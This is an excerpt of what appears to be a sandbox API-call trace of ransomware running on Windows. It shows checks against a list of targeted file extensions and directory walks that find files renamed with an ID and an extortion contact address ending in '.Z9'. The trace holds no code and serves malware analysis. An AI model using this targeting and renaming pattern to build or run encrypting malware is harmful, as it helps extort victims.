	[0070.549] lstrlenW (lpString=".ppa") returned 4
	[0070.549] lstrcmpiW (lpString1=".ppa", lpString2="].Z9") returned -1
	[0070.549] lstrlenW (lpString=".ppam") returned 5
	[0070.549] lstrcmpiW (lpString1=".ppam", lpString2="m].Z9") returned -1
	[0070.549] lstrlenW (lpString=".ppm") returned 4
	[0070.549] lstrcmpiW (lpString1=".ppm", lpString2="].Z9") returned -1
	[0070.549] lstrlenW (lpString=".pps") returned 4
	[0070.549] lstrcmpiW (lpString1=".pps", lpString2="].Z9") returned -1
	[0070.549] lstrlenW (lpString=".ppsm") returned 5
	[0070.549] lstrcmpiW (lpString1=".ppsm", lpString2="m].Z9") returned -1
	[0070.549] lstrlenW (lpString=".ppt") returned 4
	[0070.549] lstrcmpiW (lpString1=".ppt", lpString2="].Z9") returned -1
	[0070.549] lstrlenW (lpString=".pptm") returned 5
	[0070.549] lstrcmpiW (lpString1=".pptm", lpString2="m].Z9") returned -1
	[0070.549] lstrlenW (lpString=".pptx") returned 5
	[0070.549] lstrcmpiW (lpString1=".pptx", lpString2="m].Z9") returned -1
	[0070.549] lstrlenW (lpString=".prn") returned 4
	[0070.549] lstrcmpiW (lpString1=".prn", lpString2="].Z9") returned -1
	[0070.549] lstrlenW (lpString=".ps") returned 3
	[0070.549] lstrcmpiW (lpString1=".ps", lpString2=".Z9") returned -1
	[0070.549] lstrlenW (lpString=".psb") returned 4
	[0070.549] lstrcmpiW (lpString1=".psb", lpString2="].Z9") returned -1
	[0070.549] lstrlenW (lpString=".psd") returned 4
	[0070.549] lstrcmpiW (lpString1=".psd", lpString2="].Z9") returned -1
	[0070.549] lstrlenW (lpString=".pst") returned 4
	[0070.549] lstrcmpiW (lpString1=".pst", lpString2="].Z9") returned -1
	[0070.549] lstrlenW (lpString=".ptx") returned 4
	[0070.550] lstrcmpiW (lpString1=".ptx", lpString2="].Z9") returned -1
	[0070.550] lstrlenW (lpString=".pub") returned 4
	[0070.550] lstrcmpiW (lpString1=".pub", lpString2="].Z9") returned -1
	[0070.550] lstrlenW (lpString=".pwm") returned 4
	[0070.550] lstrcmpiW (lpString1=".pwm", lpString2="].Z9") returned -1
	[0070.550] lstrlenW (lpString=".pxr") returned 4
	[0070.550] lstrcmpiW (lpString1=".pxr", lpString2="].Z9") returned -1
	[0070.550] lstrlenW (lpString=".py") returned 3
	[0070.550] lstrcmpiW (lpString1=".py", lpString2=".Z9") returned -1
	[0070.550] lstrlenW (lpString=".qt") returned 3
	[0070.550] lstrcmpiW (lpString1=".qt", lpString2=".Z9") returned -1
	[0070.550] lstrlenW (lpString=".r3d") returned 4
	[0070.550] lstrcmpiW (lpString1=".r3d", lpString2="].Z9") returned -1
	[0070.550] lstrlenW (lpString=".raf") returned 4
	[0070.550] lstrcmpiW (lpString1=".raf", lpString2="].Z9") returned -1
	[0070.550] lstrlenW (lpString=".rar") returned 4
	[0070.550] lstrcmpiW (lpString1=".rar", lpString2="].Z9") returned -1
	[0070.550] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34fe4436, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34fe4436, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3500a65c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x142a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0070.550] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.550] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.551] FindClose (in: hFindFile=0x3121310 | out: hFindFile=0x3121310) returned 1
	[0070.551] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.551] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1
	[0070.551] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.551] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x35292f5e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121790
	[0070.551] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x35292f5e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.551] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3526cd17, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3526cd17, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3526cd17, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0070.551] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3526cd17, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3526cd17, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35292f5e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x15206, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0070.552] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.552] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.552] FindClose (in: hFindFile=0x3121790 | out: hFindFile=0x3121790) returned 1
	[0070.552] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.552] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1
	[0070.552] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.552] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x352df357, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121790
	[0070.552] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x352df357, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.552] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3526cd17, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3526cd17, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x352df357, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0070.553] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x352b90fa, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x352b90fa, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x352b90fa, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x12eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0070.553] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.553] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.553] FindClose (in: hFindFile=0x3121790 | out: hFindFile=0x3121790) returned 1
	[0070.553] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.553] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1
	[0070.553] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.553] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x354dbe7a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121690
	[0070.553] FindNextFileW (in: hFindFile=0x3121690, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x354dbe7a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.553] FindNextFileW (in: hFindFile=0x3121690, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x352b90fa, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x352b90fa, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x352df357, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xf64, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0070.554] FindNextFileW (in: hFindFile=0x3121690, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35436895, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35436895, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x354dbe7a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x12dd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0070.554] FindNextFileW (in: hFindFile=0x3121690, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.554] FindNextFileW (in: hFindFile=0x3121690, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.554] FindClose (in: hFindFile=0x3121690 | out: hFindFile=0x3121690) returned 1
	[0070.554] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.554] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1
	[0070.554] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.554] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x3560d8e3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121510
	[0070.554] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x3560d8e3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.555] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.555] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x352df357, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x352df357, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x352df357, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0070.555] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.555] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3560d8e3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3560d8e3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3560d8e3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
	[0070.555] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.555] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.555] FindClose (in: hFindFile=0x3121510 | out: hFindFile=0x3121510) returned 1
	[0070.556] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.556] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1
	[0070.556] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.556] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x35502444, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121210
	[0070.556] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x35502444, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.556] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x352df357, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x352df357, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35436895, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1bb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="EULART~1.Z9")) returned 1
	[0070.556] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35436895, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x35436895, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x35502444, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x11a86, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LOCALI~1.Z9")) returned 1
